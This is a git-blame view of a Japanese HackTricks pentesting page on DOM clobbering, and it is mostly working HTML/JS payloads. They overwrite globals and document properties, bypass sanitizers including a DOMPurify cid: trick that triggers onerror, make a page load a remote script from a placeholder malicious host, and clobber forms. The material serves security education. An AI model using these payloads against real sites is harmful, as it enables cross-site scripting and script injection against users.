hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

218 lines
15 KiB
Markdown
Raw Normal View History

2022-10-13 00:56:34 +00:00
# Dom Clobbering
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-10-13 00:56:34 +00:00
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
2022-10-13 00:56:34 +00:00
</details>
## **Basics**
2023-03-03 15:39:23 +00:00
**HTMLタグ内で、属性`id``name`を使用してJSコンテキスト内で** **グローバル変数を生成することが可能です。**
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**唯一**の特定の要素がグローバルを上書きするために**name属性**を使用できます。それらは、`embed``form``iframe``image``img`、および`object`です。
2023-03-03 15:39:23 +00:00
興味深いことに、**form要素**を使用して変数を**上書き**すると、要素自体の**`toString`**値が取得されます:`[object HTMLFormElement]`が、**anchor**を使用すると**`toString`**はanchorの**`href`**になります。したがって、**`a`**タグを使用して上書きすると、それが**文字列として扱われるときに** **値**を**制御**できます:
2023-03-03 15:39:23 +00:00
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
2023-07-07 23:42:27 +00:00
### 配列と属性
2023-03-03 15:39:23 +00:00
配列やオブジェクトの属性を**clobber**することも可能です。
2023-03-03 15:39:23 +00:00
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
**3番目の属性**x.y.zをclobberするには、**`form`**を使用する必要があります:
2023-03-03 15:39:23 +00:00
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
属性をさらに上書きすることは**より複雑ですが、依然として可能**です。iframesを使用します
2023-03-03 15:39:23 +00:00
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
スタイルタグは、**iframeがレンダリングされる十分な時間を与えるために使用**されます。これがないと、**未定義**のアラートが表示されます。
2023-03-03 15:39:23 +00:00
{% endhint %}
より深い属性を上書きするには、次のように**HTMLエンコーディングを使用したiframe**を使用できます:
2023-03-03 15:39:23 +00:00
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **フィルターのバイパス**
2023-03-03 15:39:23 +00:00
もしフィルターが`document.getElementByID('x').attributes`のような方法でノードの**プロパティ**を**ループ**している場合、属性**`.attributes`**を**clobber**してフィルターを**破壊**することができます。他のDOMプロパティ、例えば**`tagName`**、**`nodeName`**、**`parentNode`**なども**clobberable**です。
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **`window.someObject`のクロベリング**
2023-03-03 15:39:23 +00:00
JavaScriptでは、次のようなコードが一般的です
2023-03-03 15:39:23 +00:00
```javascript
var someObject = window.someObject || {};
```
HTMLの操作を通じて、`someObject`をDOMードで上書きすることができ、セキュリティの脆弱性を引き起こす可能性があります。例えば、`someObject`を悪意のあるスクリプトを指すアンカーエレメントで置き換えることができます。
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
脆弱なコードの例:
2022-10-13 00:56:34 +00:00
```html
<script>
2023-07-07 23:42:27 +00:00
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
2022-10-13 00:56:34 +00:00
</script>
```
この方法は、スクリプトソースを悪意のあるコードを実行するために悪用します。
2022-10-13 00:56:34 +00:00
**トリック**: **`DOMPurify`**を使用すると、**`cid:`**プロトコルを使用できますが、これは**二重引用符をURLエンコードしない**ことを意味します。これにより、**実行時にデコードされるエンコードされた二重引用符を注入**することができます。したがって、**`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`**のようなものを注入すると、HTMLエンコードされた`&quot;`が**実行時にデコード**され、属性値から**脱出**して**`onerror`**イベントを**作成**します。
2022-10-13 00:56:34 +00:00
別のテクニックとして、**`form`**要素を使用する方法があります。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。ただし、フォーム内に`id=attributes`を持つ`input`を追加することで、実質的な属性にアクセスできないように属性を上書きすることができます。
2022-10-13 00:56:34 +00:00
このタイプのクロバリングの例を[**このCTF解説で見つけることができます**](iframes-in-xss-and-csp.md#iframes-in-sop-2)。
2022-10-13 00:56:34 +00:00
## ドキュメントオブジェクトのクロバリング
2022-10-13 00:56:34 +00:00
ドキュメントオブジェクトの属性を上書きすることができるというドキュメントによると、DOM Clobberingを使用して次のようになります
2022-10-13 00:56:34 +00:00
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document)インターフェースは、[名前付きプロパティ](https://webidl.spec.whatwg.org/#dfn-support-named-properties)をサポートしています。[Document](https://html.spec.whatwg.org/multipage/dom.html#document)オブジェクトのサポートされているプロパティ名は、[いつでも](https://webidl.spec.whatwg.org/#dfn-supported-property-names)、[要素によって貢献された要素による[ツリーオーダー](https://dom.spec.whatwg.org/#concept-tree-order)に従い、後の重複を無視して、[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値が[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値よりも前に来る場合、次のようになります:
2022-10-13 00:56:34 +00:00
>
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[name](https://html.spec.whatwg.org/multipage/dom.html#exposed)属性を持ち、[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)内にある、空でない[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持つ[embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)、および[公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素の[name](https://html.spec.whatwg.org/multipage/dom.html#exposed)属性の値;\
2022-10-13 00:56:34 +00:00
> \
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持ち、[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)内にある、空でない[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持つ[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素の[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値;\
2022-10-13 00:56:34 +00:00
> \
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性と空でない[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持ち、[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)内にある、空でない[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性と空でない[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持つ[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)要素の[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値。
2022-10-13 00:56:34 +00:00
このテクニックを使用すると、**`document.cookie``document.body``document.children`**などの一般的に使用される**値を上書き**することができます。また、Documentインターフェース内の`document.querySelector`などのメソッドも上書きできます。
2022-10-13 00:56:34 +00:00
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## 要素を上書きした後に書き込む
2022-10-13 00:56:34 +00:00
**`document.getElementById()`** および **`document.querySelector()`** への呼び出し結果は、同一のid属性を持つ `<html>` または `<body>` タグを挿入することで変更することができます。以下にその方法を示します:
2022-12-20 11:25:07 +00:00
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
2022-12-20 11:25:07 +00:00
<p>
<html id="cdnDomain" class="x">clobbered</html>
2022-12-20 11:25:07 +00:00
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
さらに、これらの挿入されたHTML/bodyタグを非表示にするためにスタイルを使用することで、`innerText`内の他のテキストからの干渉を防ぎ、攻撃の効果を高めることができます。
2022-12-20 11:25:07 +00:00
```html
<div style="display:none" id="cdnDomain">test</div>
2022-12-20 11:25:07 +00:00
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
SVGへの調査から、`<body>` タグも効果的に利用できることが明らかになりました:
2022-12-20 11:25:07 +00:00
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
2022-12-20 11:25:07 +00:00
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
以下は、ChromeやFirefoxなどのブラウザでSVG内でHTMLタグを機能させるためには、`<foreignobject>`タグが必要です:
2022-12-20 11:25:07 +00:00
```html
<div style="display:none" id="cdnDomain">example.com</div>
2022-12-20 11:25:07 +00:00
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
2022-12-20 11:25:07 +00:00
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
## フォームのクロバリング
2023-02-20 09:58:12 +00:00
いくつかのタグ内で`form`属性を指定することで、フォーム内に新しいエントリを追加することが可能です。これを使用して、フォーム内に新しい値を追加したり、新しいボタンを追加してそれを送信することさえできます(クリックジャッキングまたは`.click()` JSコードを悪用
2023-02-20 09:58:12 +00:00
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* より多くのフォーム属性については、[**こちらをチェック**](https://www.w3schools.com/tags/tag\_button.asp)**。**
2023-02-20 09:58:12 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
2023-03-03 15:56:05 +00:00
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
2022-12-20 11:25:07 +00:00
2022-10-13 00:56:34 +00:00
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-10-13 00:56:34 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
2022-10-13 00:56:34 +00:00
</details>